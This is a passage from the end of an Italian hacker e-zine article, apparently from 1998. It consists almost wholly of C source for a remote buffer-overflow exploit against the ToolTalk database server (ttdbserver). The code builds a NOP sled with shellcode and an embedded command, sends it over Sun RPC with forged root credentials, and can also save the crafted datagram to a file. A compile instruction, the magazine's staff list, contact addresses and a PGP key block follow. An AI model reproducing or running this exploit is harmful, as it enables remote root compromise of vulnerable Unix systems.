*(buf + i) = NOP[i % 4];
i = bsize - strlen(asmcode) - strlen(cmd);
i &= 0xfffffffc;
strcpy(buf + i, asmcode);
strcat(buf, cmd);
*(int *)(buf + i + LENOFS) = ~(strlen(cmd) + 1);
buf[strlen(buf)] = '.';
bp = buf + bsize;
for (i = 0; i < 16; bp+=4, i++)
*(int *)bp = sp;
#ifdef IRIX
sp = sp + 400 + 31652;
for (i = 0; i < 5000; bp+=4, i++)
*(int *)bp = sp;
*bp++ = '/';
*bp++ = 'f';
path = buf + 2;
#else
path = buf;
#endif
*bp = 0;
if (outfile) {
make_file(outfile, buf, proto);
printf("rpc datagram stored in %s\n", outfile);
exit(0);
}
if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL) {
printf("%s: cannot resolve\n", host);
exit(1);
} else
target.sin_addr.s_addr = *(u_long *)hp->h_addr;
}
target.sin_family = AF_INET;
target.sin_port = htons(port);
sd = RPC_ANYSOCK;
tm.tv_sec = 4;
tm.tv_usec = 0;
if (proto)
cl = clntudp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, tm, &sd);
else
cl = clnttcp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &sd, 0, 0);
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
tm.tv_sec = 10;
if (kill) {
path = NULL;
bp = NULL;
if ((stat = clnt_call(cl, 15, xdr_wrapstring, (char *)&path,
xdr_wrapstring, (char *)&bp, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("Could not kill ttdbserver, reply is: %s\n", bp);
exit(1);
}
if ((stat = clnt_call(cl, _TT_P, xdr_wrapstring, (char *)&path, xdr_tt_reply,
(char *)&op_res, tm)) != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
printf("res i1 %d, res i2 %d\n", op_res.i1, op_res.i2);
clnt_destroy(cl);
}
void make_file(char *fname, char *buf, int type) {
int fd, offs;
XDR xdrm;
struct rpc_msg rpc_hdr;
struct authunix_parms aup;
char dgram[64000], rauth[MAX_AUTH_BYTES];
if (type == 1) /* UDP */
offs = 4;
if ((fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
perror(fname);
exit(1);
}
xdrmem_create(&xdrm, rauth, sizeof(rauth), XDR_ENCODE);
aup.aup_time = (u_long)time(NULL);
aup.aup_machname = "localhost";
aup.aup_uid = 0;
aup.aup_gid = 0;
aup.aup_len = 0;
aup.aup_gids = NULL;
if (xdr_authunix_parms(&xdrm, &aup) == FALSE) {
printf("error encoding auth cred\n");
exit(1);
}
rpc_hdr.rm_call.cb_cred.oa_length = xdr_getpos(&xdrm);
xdr_destroy(&xdrm);
xdrmem_create(&xdrm, dgram + 4, sizeof(dgram), XDR_ENCODE);
rpc_hdr.rm_xid = 0x12345678;
rpc_hdr.rm_direction = CALL;
rpc_hdr.rm_call.cb_rpcvers = 2;
rpc_hdr.rm_call.cb_prog = TT_DBSERVER_PROG;
rpc_hdr.rm_call.cb_vers = TT_DBSERVER_VERS;
rpc_hdr.rm_call.cb_proc = _TT_P;
rpc_hdr.rm_call.cb_cred.oa_flavor = AUTH_UNIX;
rpc_hdr.rm_call.cb_cred.oa_base = rauth;
rpc_hdr.rm_call.cb_verf.oa_flavor = AUTH_NONE;
rpc_hdr.rm_call.cb_verf.oa_base = NULL;
rpc_hdr.rm_call.cb_verf.oa_length = 0;
if (xdr_callmsg(&xdrm, &rpc_hdr) == FALSE) {
printf("error encoding rpc header\n");
exit(1);
}
if (xdr_wrapstring(&xdrm, &buf) == FALSE) {
printf("error encoding rpc data\n");
exit(1);
}
/* record marking */
*(u_int *)dgram = 0x80000000 | xdr_getpos(&xdrm);
if (write(fd, dgram + offs, xdr_getpos(&xdrm) + 4) == -1) {
perror("write");
exit(1);
}
xdr_destroy(&xdrm);
close(fd);
}
---------------------------------[taglia qui]---------------------------------
Esempio di compilazione:
cc ttdserv.c -o ttHPUX -DHPUX
Anche per questo articolo e' tutto.
bau bau
pIGpEN
[ REDAZi0NE ]-----------------------------------------------------------------
BlackBerry - Dr_Slump - EleSSaR^ - FuSyS - pIGpEN - |scacco|
Sh4mp00 - SMaster
[ WEB ]-----------------------------------------------------------------------
http://www.sourceofkaos.com/homes/s0ftpj/
http://softpj98.bbk.org/bfi/
[ E-MAiL ]--------------------------------------------------------------------
bfi98@usa.net
[ PGP ]-----------------------------------------------------------------------
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
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=o7CG
-----END PGP PUBLIC KEY BLOCK-----
--------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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